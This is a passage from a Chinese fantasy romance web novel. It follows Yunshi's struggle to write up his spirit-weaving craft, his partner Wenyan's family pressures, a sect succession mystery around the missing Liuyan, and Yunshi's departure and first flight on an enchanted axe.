就这么逛着,有一搭没一搭地说几句话。看到有趣的玩意儿多看两眼,闻到香的味道多吸一下鼻子。温言问他累不累,他说不累。温言说前面有家老字号的酱菜不错,他说那去看看。 回去的路上,他们穿过一条窄巷。巷子口蹲着几个等活计的力夫,正就着凉水啃硬饼子,狼吞虎咽。云实的脚步几不可察地顿了一下,目光掠过他们粗粝的手指和沾了灰土的衣角。那饼子看起来又干又硬,嚼起来一定很费牙。他记得自己以前也啃过类似的,有时候太急,碎渣会呛进喉咙里,咳得满脸通红。 他什么也没说,只是收回视线,跟着温言继续往前走。巷子很短,很快就到了另一头明亮宽阔的街市上。温言正指着远处一个卖风车的小摊问他那个颜色好看,他随意指了一个。 “那个蓝的还行。” 回到府里时,天已经擦黑。晚膳摆上来,有他下午顺口提过的酱菜,装在细白瓷的小碟里,油亮亮的看着就开胃。他夹了一筷子,脆生生的,确实好吃。 夜深了,躺在榻上,温言呼吸平缓。云实睁着眼看帐顶模糊的绣纹,看了好一会儿。 被子下面,温言的手伸过来,找到了他的手,手指松松地扣住。云实没动,任他握着。 过了一会儿,温言翻身侧过来,面对着云实。黑暗中,云实能感觉到温言的视线落在自己脸上。温言没说话,只是靠近了些,额头轻轻抵着云实的肩膀,温热的呼吸拂过云实的颈侧。 云实还是没动,但身体微微放松了些。他另一只手从被子里伸出来,摸索着碰到温言的头发,指尖无意识地拨弄着发尾。头发很软,带着温言身上常用的、淡淡的安神香气。 温言似乎无声地笑了一下,呼出的气息让云实颈侧的皮肤有点痒。他更贴近了些,鼻尖蹭过云实的耳廓,然后是一个很轻的、落在耳垂后面的吻。 云实的手指顿了一下,然后慢慢插进温言的发丝里,很轻地抓了抓。 温言握住他的那只手紧了紧,拇指指腹摩挲着云实的虎口。这个动作很平常,却让云实一直紧绷的肩膀彻底松懈下来。他闭上眼睛,偏过头,让自己的脸颊贴上温言的额头。 就这么安静地靠了一会儿。温言的呼吸拂在他的锁骨上,温热而平稳。 “……累了?”温言低声问,声音带着睡意的沙哑,几乎是气音。 “嗯。”云实也低声应。 温言没再问什么,只是又吻了吻他的颈侧,然后重新调整了一下姿势,把云实往怀里带了带,让两人贴得更舒服些。被子底下,他们的腿也轻轻交叠在一起。 云实把手从温言头发里抽出来,搭在温言的腰侧。 这一天走下来,腿脚倒没什么,就是觉得有点乏。这会儿被温言这么拢着,那点空落落的乏好像找到了一个安放的地方,沉甸甸地坠着,却不那么磨人了。 他听着温言的呼吸渐渐变得均匀悠长,自己也慢慢沉进睡意里。最后一点清醒的念头是:酱菜确实不错,明天早上或许还能就粥吃一点。 …… 研备司那边关于“织物内导灵纹理”的备案评估,依旧石沉大海,没有任何回音。云实问过两次,温言也只说“还在走流程,不急”。但云实能感觉到,温言是持续关注的。 这天傍晚,温言从衙门回来,直接到了工坊。云实正对着一块新处理的料子发呆,上面的织纹走到一半,感觉不对,正犹豫是拆还是硬着头皮继续。 “云实,”温言的声音让他回过神,“研备司那边反馈,光有成品效用记录和基础说明还不够。异才处有几位老学究,对你那套不依赖传统符箓、阵纹,纯以织物结构和特殊灵力引导达成效用的说法很感兴趣,但也存疑。他们希望……能看到一份更详尽的‘原理阐述’。” 温言说得很委婉,但意思明确:上面需要一篇文章,用他们能理解的语言和逻辑,解释清楚云实这套“野路子”到底是怎么一回事,为什么能成。 云实愣了一下:“原理阐述?我……我不会写文章。” 他说的倒是实话,他读书不多,科举都没过,那些文绉绉的论述,他想想就头疼。 “不必像科举文章那般讲究辞藻。”温言走到他身边,拿起案头那本被翻得卷边的厚册子,那是云实记录所有尝试、失败、心得和数据的宝贝,“你的想法,你的摸索过程,你对材料、对灵力引导的感悟,都在这上面。把它整理出来,用尽可能清晰的话说明白:你做了什么,为什么这么做,以及做出来的东西为什么能有那样的效果。可以画图,可以列表,怎么清楚怎么来。重点是说清楚。” 他放下簿子,看着云实:“我知道这不容易,但这份东西很重要。它不仅能推动备案评估,以后若真有机会推广或合作,这就是你技术的根基和凭证。写好了,别人想拿你的东西,也得先过你这道理的关。” 云实听明白了。这是要他把自己那些零碎的、基于手感与经验的东西,系统化、理论化,变成能摆在台面上、经得起推敲的文字。他点了点头:“我……我试试。” 温言见他应下,神色缓和,拍了拍他的肩膀:“不急,慢慢来。有什么需要的,或者哪里卡住了,随时问我。” 云实答应了。起初,他也确实想好好整理。他把那本厚厚的笔记从头翻起,看着那些只有自己才懂的符号、简图和零碎的词句,试图将它们转换成连贯的、别人能看懂的文字描述。他铺开新的纸笔,写下标题“织物内导灵纹理初探与效用原理刍议”,光是这个文绉绉的题目,就让他憋了半天。 然后,他卡住了。 不是不知道写什么。他的笔记里全是内容,但他就是写不下去。脑子里像是塞了一团乱麻,那些清晰的感知和成功的喜悦,一旦要落成规整的文字,就变得模糊、迟疑,仿佛所有的灵巧和直觉,在笔尖下都显得笨拙、可疑,甚至……有些拿不出手。他写写停停,一行字反复涂抹,刚开了个头,就觉得不对,撕掉重来。一个下午过去,纸上除了墨团和几个残缺的句子,几乎没什么进展。 他安慰自己,是开头难。第二天再试,依旧如此。注意力很难集中,工坊外一点风声,走廊里仆役走过的脚步声,甚至院子里鸟叫,都能轻易把他从思绪中拉出来。他发现自己开始频繁地起身,不是去倒水,就是去整理根本不需要整理的工具架,或者对着窗外发呆。 他自己都有些惊讶,原来自己这么能拖。以前在铺子里,父亲交代的活计,再难再繁琐,他也能闷头做完;后来摸索织纹,失败无数次,也能咬牙坚持。可现在,面对这叠白纸,他居然有种近乎本能地抗拒和拖延。 就在他这种烦躁又自我厌弃的状态里持续了好几天后,一次寻常的家宴上,温父状似无意地提了一句。 饭桌上,温父问了几句温言公务上的事,又关心了一下温玥新学的琴曲,目光最后落到安静吃饭的云实身上。他语气和往常一样平和,甚至还带着点长辈的关切:“云实在府里住得可还习惯?平日除了在工坊钻研,也该多出去走动走动,结交些同龄的朋友。言儿,你既是兄长,也该多上心。” 温言点头应是。 温父顿了顿,用闲聊般的口吻继续道:“说起来,云实年纪也不小了。既是我温家认下的弟弟,这终身大事,也该考虑起来。若有合适的姑娘家,品行端正,门户相当,不妨留意着。总是一个人闷着,也不是长久之计。” 这话落在云实耳中,却像是一滴冰水落进滚油里,在他心头“刺啦”一声炸开。 他握着筷子的手微微一顿,随即若无其事地继续夹菜,但嘴里忽然没了滋味。 温父这是什么意思? 他知不知道自己和温言真正的关系?云实觉得,以温父的城府和耳目,不太可能毫无察觉。但他教养极高,绝不会当面点破难堪之事。那么,这话是说给谁听的? 是说给自己听,暗示自己终究要成家立业,不该一直这样不明不白地依附温言?还是说给温言听,提醒他,这个“弟弟”终究是要娶妻生子的,你们现在这样,不成体统? 或者……是在点自己耽误了温言的婚事?毕竟温言年纪更长,地位更高,却至今未娶。外界或许已有风言风语,而自己这个突然冒出来的“义弟”,是不是成了最现成的借口或障碍? 再或者……仅仅是因为自己不是个姑娘? 无数个念头在瞬间涌入脑海,让他心乱如麻。他不敢去看温言的表情,也不敢去看温父的神色,只能低着头,盯着碗里的米饭,机械地咀嚼着。 温言的声音适时响起,平稳如常:“父亲说的是。只是云实他心性单纯,眼下又正醉心于技艺钻研,此事倒也不急。总要寻个真正合心意、能知冷知热的才好。” 他四两拨千斤地将话题带过,既没有反驳温父,也没有给云实压力,甚至巧妙地将“醉心技艺”作为了一个暂时的挡箭牌。 温父听了,也只是“唔”了一声,没再深究,转而说起了别的。 散了席,回到静澜院,云实终于忍不住,在只有他们两人时,将憋了一晚上的惶惑问出了口:“温言……你父亲今天那话……他是不是……知道了?他是不是觉得我耽误你了?还是……他觉得我该走了?” 他问得有些语无伦次,但温言听懂了。 温言拉着他坐下,握着他的手,指尖微凉。 “父亲……”温言沉吟了一下,选择坦诚,“他应该是有所察觉的。他掌管温家这么多年,后宅、府内,有什么事能完全瞒过他的眼睛?他只是不说。” 他看着云实瞬间苍白的脸色,握紧了他的手:“但他教养极高,也有他的考量。只要我不逾矩,不做出有损门风、令他难堪之事,只要你能安安分分待在这里,他便会睁一只眼闭一只眼,甚至愿意给你温家义弟这层身份作为庇护。他今日提起婚事,未必是赶你,或许……只是一种惯常的操心,或者,也是一种含蓄的提醒——提醒我们注意分寸,提醒我们这个世道的常理是什么。” “注意分寸……”云实喃喃重复,心里那根刺扎得更深了。 “那……我是不是……真的耽误你了?”云实抬起眼,眼圈有些发红,“如果不是我,你或许早就……” “没有或许。”温言打断他,语气斩钉截铁,“云实,你听好。我温言要不要娶妻,何时娶妻,与任何人无关,只与我自己有关。遇见你之前,我便无此打算;遇见你之后,更不可能有。这不是你耽误我,是我自己的选择。父亲提起,是他的观念和职责所在,但我们如何生活,是我们自己的事。” 他伸手抚上云实的脸颊,拇指擦过他微湿的眼角:“别怕。有我在。你只需要做好你该做的事。” “该做的事……”云实苦笑了一下,“那篇原理阐述吗?我……我写不出来。”巨大的压力之下,那份拖延已久的任务也成了压垮情绪的最后一根稻草,他难得地吐露了这份挫败,“我不知道为什么,就是静不下心,写不下去。我很没用,是不是?” 温言看着他眼中深切的疲惫和自我怀疑,心中一阵抽痛。他将云实搂进怀里,轻轻拍着他的背:“不是你没用。是压力太大了。身份的事,父亲的话,还有这文章……所有这些加在一起,让你无所适从了。”他顿了顿,声音更柔了些,“那篇文章,不急。真不急。等你心境平复些再写。父亲那边,有我。你什么都不要想,好好休息几天,做点你真正想做的事,哪怕只是发呆,或者继续摆弄那些布料,随你高兴。等你被收编,有了正式工作,一切都会水到渠成。” 云实把脸埋在他肩头,沉默了很久。温言的安慰像暖流,暂时驱散了些寒意,但那种无处不在的、被审视、被衡量、需要“注意分寸”的压力感,却已深深烙印在他心里。他知道,自己不能再这样一味地拖延和逃避下去了。无论是为了给自己挣一个更稳的立足点,还是为了不辜负温言的庇护与期待,他都得做点什么。 几天后,他似乎平静了许多,重新坐到了书案前,摊开了笔记和白纸。他开始从最基础的部分整理——先将自己对不同材料纤维特性的感知记录,分门别类地誊抄、归纳。这个过程机械而繁琐,却意外地让他渐渐沉静下来。 温言将他的变化看在眼里,心中稍慰。这日晚间,两人在院中乘凉,温言见他眉宇间的郁色散了些,便温声道:“那篇文章,循序渐进便好。等你整理得差不多了,写成初稿,我可以帮你看看,润色一下措辞。只要道理讲通了,形式不必苛求。” 云实点了点头,沉默片刻,忽然问:“温言,你说……等我有了‘正式工作’,父亲就一定会同意……是什么意思?” 温言知道他说的是那天自己安慰他 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温言说到这里,停住了。有些话不必说尽,云实已经听懂了。 云实觉得胸口有些发闷。 “我明白了。”云实的声音在夜风里显得很轻,听不出什么情绪,“就是得把这门手艺,卖个好价钱,还得是卖给……最正确的买主。对吧?” 温言听出了他话里那点细微的涩意,心中不忍,握住了他微凉的手:“云实,我不是那个意思……” “我知道你不是那个意思。”云实打断他,反而笑了笑,那笑容有些疲惫,却奇异地平静下来。 夜深了,工坊的灯还亮着。云实伏在案前,不再烦躁地撕扯纸张,而是沉静地、一笔一划地,开始整理那些关于“材料基底与灵力微导性关联”的原始记录。窗外,夏虫鸣叫,月光如水。这一夜,他笔下的沙沙声,持续了很久。 纸鸢的消息是让予直接带回来的。予风尘仆仆,脸上没了平日的跳脱,进了温府后门就直奔云实的工坊,顺手还掩上了门。 “云实!”予压低声音,眼睛里有压不住的震动,“天衡宗那边,消息坐实了——霁雪仙尊,真的飞升了。” 云实正在理顺一段关于“复合纤维基底中不同灵力印记的共振衰减”的笔记,闻言笔尖一顿,墨迹在纸上洇开一小团。他放下笔,抬起头:“官方通告怎么说?继任的是……” “是天蕴师姐接任了师尊之位。”予接话道,语气有点复杂,“官方明发的告示里说,是‘经宗门长老合议,尊天蕴真人修为精深、德才兼备,堪当大任’。” 这时,温言也闻讯赶了过来,显然是得了通报。他走进工坊,对予点了点头,神色肃然:“这消息我比你们早半日知晓。官面上的说法,是天蕴道友这些年来修为精进神速,已超过同辈,且行事公允,深得人心,故而众望所归。” “这不对。”云实几乎是下意识地反驳,眉头拧紧,“天蕴师姐的修为或许不弱,但她的性情……她以前更像个纯粹的体修,路见不平拔刀相助那种,心思多在修炼和行侠上,对宗门庶务谈不上热衷,甚至有些避之不及。流衍师兄才是……” 他话没说完,但意思明显。流衍更沉稳,更周全,更像传统意义上能执掌一宗的人选。霁雪仙尊先前属意流衍,并非秘密。 予看了看温言,又看向云实,舔了舔有些干的嘴唇:“这就是我要说的下一件事。流衍师兄……他没能突破。” 云实一怔:“什么?” “具体不清楚,但消息是从天衡宗内部透出来的。”予的声音更低了,“据说是在一次关键的闭关中出了岔子,修为停滞不前,甚至还隐隐有损。按天衡宗,不,按几乎所有大宗门不成文的规矩,接任掌门或仙尊之位,修为必须达到一定的门槛,至少不能低于前任,且需是上升之势。流衍师兄……他卡住了,过不了那个槛。宗门里剩下的嫡传弟子里,论修为、论资历、论声望,天蕴师姐就成了唯一够格、也勉强能服众的人选。” 他顿了顿,试图让气氛轻松点:“说起来,这倒是件好事?至少,是咱们知道的头一位女仙尊吧?纸鸢姐让我带话时,还说该替师姐高兴。” 云实却没有半点高兴的样子,脸色反而更加凝重。他缓缓摇头:“这不是男的女的、该不该高兴的问题。这背后……不对劲。” 温言一直沉默地听着,此刻也缓缓开口,眼神锐利:“确实蹊跷。流衍道友的天赋心性,我是知道的。霁雪仙尊飞升前对他多有栽培,接任本是水到渠成。即便突破遇阻,也未必就一蹶不振到立刻失去资格,宗门完全可以暂缓定夺,或设护法、代掌等职过渡。如此急切地公告天下由天蕴道友接任,倒像是……需要立刻堵上某个缺口,或者,必须立刻确立一个无可争议的新主事人,以稳定局面。” 他看向云实和予:“流衍道友突破受阻,是意外,还是人为?天蕴道友接任,是顺理成章,还是……被迫顶了上去?这其中的水,恐怕不浅。” 云实的心沉了下去。他想起流衍被霁雪仙尊带走时的平静眼神,想起自己那份牵连他的愧疚。如果流衍的“未能突破”并非意外……他不敢深想。 “得查清楚。”云实声音干涩,但带着一股执拗。 温言颔首:“我会立刻安排可靠的人,从官方渠道和私下两条线去探听。天衡宗毕竟是大宗,内部消息封锁很严,需要时间和方法。” “我想自己去。”云实忽然道,他看着温言,“我和予一起。天衡宗我待过,认识路,也……认识几个人。有些事,外人打听不到,或者听到了也不明就里。纸鸢不是正好也要回去见师姐吗?我们可以借这个机会,以探望旧友的名义靠近看看。” 温言眉头立刻蹙起:“不行。太危险。天衡宗内部情况不明,万一卷入他们的内务,后果难料。何况你的织纹文章还没完成,研备司那边……” “文章我可以路上抽空整理思路,总比在这里心神不宁、一个字也写不下去强。”云实打断他,语气是从未有过的坚决,“温言,流衍师兄是因为我才被关禁闭,才可能……才落入现在这种境地。我不能坐在这里,什么也不做,全靠你派人去打听。有些事,我得亲眼去看看,亲耳去听听。不然我这心里,过不去。” 他眼神里的恳切和那不容动摇的决心,让温言一时语塞。温言知道,云实平日里看似沉静顺从,但骨子里一直有股韧劲和固执,尤其是涉及到他认定的责任和旧友安危时。 予在旁边帮腔:“温大人,您放心,我会寸步不离跟着云实!我对京城和周边地头熟,机灵着呢!再说,有纸鸢姐在那边接应,她就是回去看师姐的,我们跟着她,也算有个正当由头,不惹眼。” 温言看着云实,又看看一脸跃跃欲试又难掩关切的予,心知阻拦不住。云实这几日因为身份压力和文章进展缓慢而沉闷,出去走走,或许真能散散心,何况……他确实需要了结这桩心事,才能真正安心留下。 沉吟良久,温言终于叹了口气,妥协道:“罢了。我知道拦不住你。但你须得答应我几件事。” 云实立刻点头:“你说。” “第一,一切行动,以自身安全为最优先。不准冒险,不准强出头。有任何不对劲,立刻撤退,联系我安排的人,或者直接回京。”温言语气严肃。 “第二,以纸鸢的朋友、或者昔日天衡宗仆役旧识等模糊身份活动,尽量避免与宗门高层直接接触,更不可暴露你与我的关系,以及你在研备司备案之事。” “第三,予必须时刻跟着你。我也会派两名精干可靠的护卫,暗中随行保护,他们只负责你们的安全,不会干涉你们的探查,非紧急情况不会现身。你们有事,也可通过他们传递消息给我。” “第四,”温言目光深深看进云实眼里,“只是去看看,听听,了解情况。不要试图介入,更不要想着凭一己之力去改变什么。天衡宗内部之事,水深难测,绝非你我能轻易插手。记住,你的首要目的是‘弄清楚’,而不是‘解决’。” 云实一一应下:“我记住了。” 温言又转向予,语气郑重:“予,我把云实托付给你了。务必机警,有任何风吹草动,不要犹豫,带他走。” 予挺起胸膛,拍着胸脯保证:“温大人放心!包在我身上!” 事情就这么定了下来。温言虽然不放心,但也知这是目前最好的安排。他立刻着手安排护卫和路线,准备必要的银钱、符箓和伪装身份的文牒。云实则抓紧最后的时间,将那本厚厚的摘要整理成一个小册子随身携带,以备路上思考,也防止丢失原稿。 出发前一晚,温府静澜院内灯火通明,却异样安静。晚膳简单用过,仆役早已屏退。温言没有像往常一样去书房处理未完的公务,而是跟着云实回到了内室。 行装已经大致收拾妥当,一个不起眼的青布包袱放在榻边矮几上,里面是几套便于行动的换洗衣物、一些散碎银两和温言准备的应急符箓、伤药。云实正将最后一样东西——那本摘要了核心思路和数据的薄册子——仔细地塞进包袱内侧的夹层。 温言站在他身后不远,看着他微垂着头,手指仔细地抚平册子边缘,确保它不会在行路中折角或滑出。烛光在他侧脸投下柔和的阴影,长睫在眼下覆出一小片安静的扇形。他做这些事时有种专注的细致,和他在工坊里摆弄布料丝线时一样。 “都齐了?”温言开口,声音在过分安静的室内显得有些突兀。 云实手上动作顿了一下,点点头,系好包袱的结,转过身来。“嗯,齐了。”他目光掠过温言的脸,很快又垂下,落在自己脚前的地面上。空气中弥漫着一种欲言又止的凝滞。 温言走到他面前,抬手似乎想碰碰他的脸颊,却在半空中停住,转而拿起了矮几上一个不起眼的锦囊。锦囊是墨绿色的,料子普通,没有任何纹饰。 “这个带上。”他将锦囊递给云实,“里面有两枚‘子母传讯符’,子符你贴身收好,若遇紧急,捏碎它,无论相隔多远,我身上的母符都会有感应,能大致知道你的方位。还有一枚‘护身玉’,挡不了大灾,但寻常邪祟或一次致命的偷袭,或许能替你挡下。” 云实接过锦囊,入手微沉。锦囊针脚细密,封口处绣着一个极小的、几乎看不清的“言”字。这不是府里绣娘的手艺。他抬眼看向温言,喉结动了动,想说点什么,最终只是低声道:“谢谢。” “路上一切小心。”温言重复着白天说过的话,眼神却比白天更加深邃,里面翻涌着太多难以言说的情绪,担忧、不舍、以及一丝被强行压下的不安,“记住我跟你说的,安全第一。遇到任何事,不要逞强。天衡宗的事……能探则探,不能则罢。你的安危,比什么都重要。” “我知道。”云实握紧了锦囊,指尖能感觉到里面符箓和玉佩坚硬的轮廓,“我会小心的。予也很机灵。还有你派的人……” 他试图让语气听起来轻松些,却不太成功。 温言凝视着他,忽然伸出手,轻轻捧住了他的脸。掌心温暖干燥,带着熟悉的、令人安心的气息。 “云实,”他叫他的名字,声音很轻,却带着千钧重量,“早点回来。” 云实的心像是被这简单的四个字狠狠攥了一下,酸涩与暖流同时涌上。他抬起手,覆在温言的手背上,指尖微微发凉。 “嗯。”他应道,声音有些哑,“处理完……就回来。” 两人就这么静静对视了片刻。烛火跳跃,在墙壁上投下相依的、晃动的影子。 “今晚……”云实迟疑着开口。 “我在这儿。”温言接得很快,放下手,转而揽住他的肩膀,带着他走向床榻,“哪儿也不去。” 这一夜,他们没有更多的言语。温言只是将他拢在怀里,手臂环得有些紧,像是要用体温和力道将这份存在感深深印刻。云实起初身体有些僵硬,但很快便在熟悉的怀抱和气息中放松下来。他将脸埋在温言肩窝,闭上眼睛,听着那沉稳有力的心跳。 这不是情欲翻腾的夜晚,而是一种更深沉的、近乎依偎的温存。仿佛都知道前路未卜,都想在这离别的前夜,尽可能多地汲取和储存属于彼此的、安稳的温度。 云实以为自己会失眠,但或许是紧绷了太久的心神终于落定,或许是温言的怀抱太过令人安心,他竟然在规律的呼吸和心跳声中,渐渐沉入了并不安稳、却还算深沉的睡眠。 半梦半醒间,他感觉到温言似乎一直没怎么睡,有时会轻轻拍抚他的后背,有时会用下巴蹭蹭他的发顶,动作轻柔得如同对待易碎的珍宝。 天快亮时,云实迷迷糊糊醒来一次,发现温言正静静地看着他,眼神在熹微的晨光中显得格外幽深复杂。见他睁眼,温言什么也没说,只是俯身,在他额头上印下一个很轻、却滚烫的吻。 “该起了。”温言的声音带着一夜未眠的微哑,却已恢复了平日的沉稳。 云实点了点头,坐起身。两人沉默地穿衣洗漱,动作都比平时慢了些,像是想将这最后的共处时光拉长一点。 包袱背在身上,分量不轻。云实站在门口,最后回望了一眼这间住了不算太久、却已充满熟悉气息的屋子,和站在光影交界处、身形挺直却莫名显得有些孤清的温言。 “我走了。”他说。 “嗯。”温言应道,向前走了两步,停在离他一步远的地方,深深地看着他,“万事小心。” 云实再次点头,转身,推开了房门。清晨微凉的空气涌了进来,带着庭院里草木的湿润气息。 他没有再回头,迈步走了出去。予已经在侧门外的巷口等着,正搓着手,呵出白气,看到他,立刻露出一个灿烂的笑容,用力挥了挥手。 云实加快脚步,走向予,走向那辆不起眼的、等候着的青篷马车。他能感觉到,身后那道目光,一直牢牢地追随着他,直到他坐上马车,帘子放下,隔绝了内外。 车轮碾过青石板路,发出骨碌碌的声响,渐渐驶离了温府所在的那片宁静坊巷。云实靠在车厢壁上,闭上眼睛,手心里紧紧攥着那枚墨绿色的锦囊。 21. 【十八】 马车一路颠簸,专拣僻静小路走,七拐八绕,直到日头偏西,才在一处位于官道岔口、看起来颇为老旧却还算干净的中途客栈前停下。予跳下车,机警地四处张望一番,这才撩开车帘:“云实,到了,先在这儿歇脚,明儿再赶路。” 云实沉默地下了车,跟着予走进客栈。予熟门熟路地跟掌柜打了招呼,要了两间相邻的上房,又点了些简单吃食让送到房里。直到进了房间,关上门,隔绝了外界的耳目,予才像是终于卸下一口气,夸张地拍了拍胸口。 “我的天,可算能说话了!”他一屁股坐在椅子上,自己倒了杯凉茶灌下去,这才看向一直沉默站在窗边的云实,“云实,你是不知道,这一路上憋死我了。温大人安排得也太……周密了。”他挠挠头,想找个合适的词,“那两个跟着的护卫大哥,虽然没露面,但我总觉得后脖子发凉。还有那些规矩,这不能去那不能看的……唉,我听着他跟你说那些‘注意安全’‘不准冒险’的话,心里就怪别扭的,替你难受。” 他自顾自说着,没注意到云实始终背对着他,望着窗外逐渐暗淡的天色和远处模糊的山影,肩膀的线条绷得有些紧。 “不过话说回来,温大人也是真紧张你。”予又倒了一杯茶,语气缓和下来,“那锦囊我看见了,是他自己做的吧?啧,没想到温大人还有这手艺……云实?” 予终于察觉到了不对劲。云实太安静了,安静得有些异常。他放下茶杯,起身走过去,小心翼翼地问:“你怎么了?是不是路上颠得不舒服?还是……” 他绕到云实侧面,话戛然而止。 昏黄的光线下,云实脸上没有什么激烈的表情,甚至可以说是平静的。但泪水正无声地顺着他苍白的脸颊滑落,一滴接一滴,洇湿了衣襟前一小片布料。他没有发出任何啜泣的声音,只是睁着眼,任由眼泪流淌,眼神空茫地望着窗外不知名的远处。 予一下子慌了手脚,他见过云实疲惫、沉默、紧绷的样子,但从未见过他哭,还是这样安静却汹涌的哭法。 “云实?云实!你……你别吓我啊!怎么了这是?是不是我说错什么了?还是……”他急得团团转,想碰碰他又不敢,只能笨拙地掏出手帕递过去。 云实没有接手帕,他缓缓转过头,看向予,泪水还在不停地流,声音却异常干涩平静,仿佛在陈述一个与己无关的事实:“我一直都知道。” 予愣住了:“知……知道什么?” “知道他是为我好,知道他的安排是最稳妥的,知道我不能冒险,知道我欠他的……什么都清楚。”云实的声音开始发抖,那种强行维持的平静出现了裂痕,“可就是因为太清楚了……太难受了。我什么也不敢做,什么也不能做,每一步都要想对不对、妥不妥、会不会给他惹麻烦……连呼吸都像是借来的,要算着利息。” 他抬手抹了一把脸,湿漉漉的,却止不住更多的泪水。 “太难熬了,予。真的……太难熬了。”最后几个字,几乎是从喉咙里挤出来的气音,带着濒临崩溃的疲惫和委屈。 “云实……”予张了张嘴,不知道该说什么安慰的话。所有的机灵和话痨在此刻都派不上用场。他最后只是用力拍了拍云实的肩膀,憋出一句:“会好的……等咱们弄清楚天衡宗的事儿,等你那手艺真闯出名堂……就好了。” 云实摇了摇头,似乎想摆脱什么,又像是在否定予的话。他深深吸了几口气,努力平复着翻腾的情绪,用袖子狠狠擦了擦眼睛,眼眶和鼻尖都红了。 这时,予猛地想起什么,脸色变得严肃起来,压低声音道:“对了,云实,有件事……纸鸢姐让我一定要告诉你,也是她急着让我带你回来的原因之一。” 云实抬起泪眼朦胧的脸,看向他。 予凑近了些,声音压得更低,几乎耳语:“流衍师兄……他失踪了。” “具体怎么失踪的,没人说得清。”予快速说道,“宗门对外只说他闭关出了岔子,修为受损,需要静养,不见外人。但纸鸢姐通过一些非常隐秘的渠道打听,说他根本不是简单的闭关,而是在霁雪仙尊飞升前后那段时间,人就不见了。宗门里现在关于他的消息封锁得极严,说法也矛盾。纸鸢姐觉得不对劲,非常不对劲。她说,流衍师兄的事,可能比你我想象的还要复杂和危险。她怕你贸然回去,或者用旧身份去打听,会撞上什么不该撞上的。” 予看着云实瞬间褪尽血色的脸,补充道:“所以她才让我务必带你一起,有个照应,也让你心里有个底。咱们这趟,恐怕不只是看看听听那么简单了。” 房间内一片死寂。窗外最后的天光也被暮色吞没,屋子里暗了下来。云实脸上的泪痕未干,新的寒意却已从脚底窜起,瞬间冻结了方才情绪崩溃带来的那点滚烫。 这一晚,两人几乎无眠。云实躺在床上,盯着客栈房间简陋的房梁。焦灼、愧疚和一种被无形力量催促的急迫感,如同藤蔓缠绕心脏,越收越紧。予则在隔壁房间,仔细检查着随身物品,盘算着最快抵达天衡宗的路线,眉头也始终没有松开。 直到窗外天色泛起灰白,远处传来第一声鸡鸣。 两人在客栈大堂简单用了些早饭,气氛依旧沉闷。云实只喝了几口粥,便放下了筷子,眼底有着明显的血丝和阴影。 “我们得快点。”他哑声说,声音比昨晚更加干涩。流衍是因他受累,若真因此遭遇不测……他不敢想。 予看着他那副强打精神却掩不住憔悴的样子,把嘴里最后一口馒头咽下去,挠了挠头。他知道寻常赶路的方式太慢了。忽然,他眼睛一亮,想起昨天路上自己琢磨的一个大胆念头。 “云实,”予压低声音,身体前倾,“你之前不是能让你那斧头飞起来过河吗?虽然看着……呃,不太稳当。但现在情况紧急,咱们能不能试试……更快点的法子?” 云实抬眼看他,眼神里有些茫然,似乎还没从混乱的思绪中完全抽离。 “更快点的法子?” “御物飞行啊!”予压低声音,比划了一下,“你看,咱们靠马车或者寻常轻身功夫,到天衡宗还得折腾两天。你要是能御斧飞行,哪怕刚开始慢点、晃点,咱们轮流带着点,加上我御剑,速度肯定快上不少!而且走空中,避开地面盘查和麻烦,也安全些。” 御斧……飞行?上次让斧头飞过河面,几乎耗尽了他当时的心神和灵力,事后还虚脱了半天。载人飞行?他想都没想过。那需要对灵力更精细、更持续的操控,以及……更多的力量。 “我……没试过。可能不行。”云实摇头,心里没底。体内的力量虽然增长,但那枚怪异内丹提供的灵力霸道却不易驯服,用于精细操控始终是个难题。 “试试嘛!不试怎么知道!”予怂恿道,眼下也确实没有更好的办法,“你集中精神,别想太多杂事,就想着一件事——‘飞起来,去天衡宗’。有时候越是着急,反而能逼出点潜力呢!我听一些老师傅说过,这叫‘情急生智’!” 他深吸一口气,握住了那光滑的木柄。冰凉的触感让他稍微定了定神。他闭上眼,尝试摒弃杂念,但“流衍失踪”的阴影和必须尽快赶到的焦灼感,如同最猛烈的催化剂,将他体内那股一直蛰伏的、混合了自身“乱”力与苏妄印记的混沌力量,猛地搅动起来! 不再是平日小心翼翼、试图理顺引导的涓涓细流,而是一股蛮横的、带着他强烈意念的洪流,顺着手臂轰然涌入斧中! “嗡——!” 柴斧发出低沉的震颤,斧身上骤然亮起一层极不稳定的、明灭闪烁的混沌光晕,光晕边缘扭曲着,仿佛连周围的光线都要吞噬进去。 云实自己都吓了一跳,没想到情绪激荡下引动的力量如此躁动。他试图控制,但那力量仿佛有自己的意志,紧紧“抓”住了斧头,并且隐隐指向西南——天衡宗的方向。 “就是现在!”予低喝一声,也不管那斧头看起来多么诡异不稳,一把抓住云实的胳膊,“想着上去,稳住!” 云实几乎是凭着本能,将所有躁动不安的意念和力量都灌注到“飞行”与“方向”这两个最简单的念头里。他猛地将柴斧向前一掷! 斧头并未落地,而是悬停在离地三尺的空中,剧烈地震颤着,那混沌光晕吞吐不定,发出细微的、仿佛无数细沙摩擦的嘶嘶声。斧头周围一小片空间的光线都微微扭曲。 “上!”予拉着云实,纵身一跃,精准地落在了斧面之上——说是“落”,不如说是被一股蛮横而混乱的力场勉强“兜”住了。脚下一沉,随即传来一种极其古怪的触感,不像站在飞剑上的平稳,更像踩在一团不断试图翻滚、却又被强行压制的湍流上,晃得厉害。 云实脸色发白,全部的注意力都用来维系脚下这团“混乱的力场”不散,并强行推动它向前。他脑子里几乎一片空白,只剩下“去天衡宗”这一个念头在燃烧。 “嗖——!” 柴斧载着两人,以一种极其别扭的姿态猛地向前一窜!不是飞剑那种流畅的滑行,更像是被一股扭曲的巨力猛推了一把,轨迹歪歪扭扭,忽高忽低,速度却快得惊人!破空声都带着一种不正常的、如同布帛被撕裂的呜咽。 予差点被甩下去,赶紧稳住下盘,同时手掐剑诀,背后长剑“沧啷”一声出鞘,悬浮在他身侧,发出清越的剑鸣,一股平和的灵力散发出来,勉强在两人身周形成一层薄薄的、用来抵御高速气流和稳定平衡的屏障。他惊讶地瞪大眼睛,看着脚下那柄光芒乱闪、仿佛随时会解体却异常顽强地撕开空气前进的柴斧,又看看身旁双目紧闭、脸色苍白却透着一股狠劲的云实。 “我的乖乖……”予喃喃道,随即脸上露出兴奋又难以置信的神色,“云实!你成功了!真的飞起来了!虽然这架势……咳,别具一格!但你这才试了一次啊!太天才了吧!” 云实没空回应,他全部心神都沉浸在一种奇特的、紧绷的平衡里。 